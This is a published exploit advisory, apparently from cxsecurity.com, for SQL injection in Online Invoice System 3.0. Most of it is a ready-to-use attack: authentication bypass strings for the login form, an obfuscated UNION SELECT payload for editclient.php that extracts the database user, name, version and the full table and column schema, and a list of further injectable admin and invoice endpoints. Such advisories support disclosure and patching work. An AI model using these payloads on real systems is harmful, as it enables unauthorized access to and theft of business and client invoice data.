Online Invoice System 3.0 SQL Injection

2017.09.12
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: Online Invoice System 3.0 - SQL Injection # Dork: N/A # Date: 07.09.2017 # Vendor Homepage: http://www.onlineinvoicesystem.com/ # Software Link: http://www.onlineinvoicesystem.com/index_v3.html # Demo: http://www.onlineinvoicesystem.com/onlineinvoicesystem3/index.php # Version: 3.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # Bypass # http://localhost/[PATH]/index.php # User: 'or 1=1 or ''=' Pass: anything # User: anything Pass: 'or 1=1 or ''=' # # Sql # http://localhost/[PATH]/editclient.php?cid=[SQL] # -5+/*!00003uNiOn*/(/*!00003SelECt*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER()),/*!50000CONCAT_WS*/(0x203a20,DATABASE()),/*!50000CONCAT_WS*/(0x203a20,VERSION()),0x283529,(/*!50000SelECt*/+export_set(5,@:=0,(SelECt+CoUnt(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629)--+- # # http://localhost/[PATH]/admin_invoice_print.php?id=[SQL] # # http://localhost/[PATH]/edit_invoice.php?id=[SQL] # # http://localhost/[PATH]/admin_invoice.php?id=[SQL] # Etc... # # # # #


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top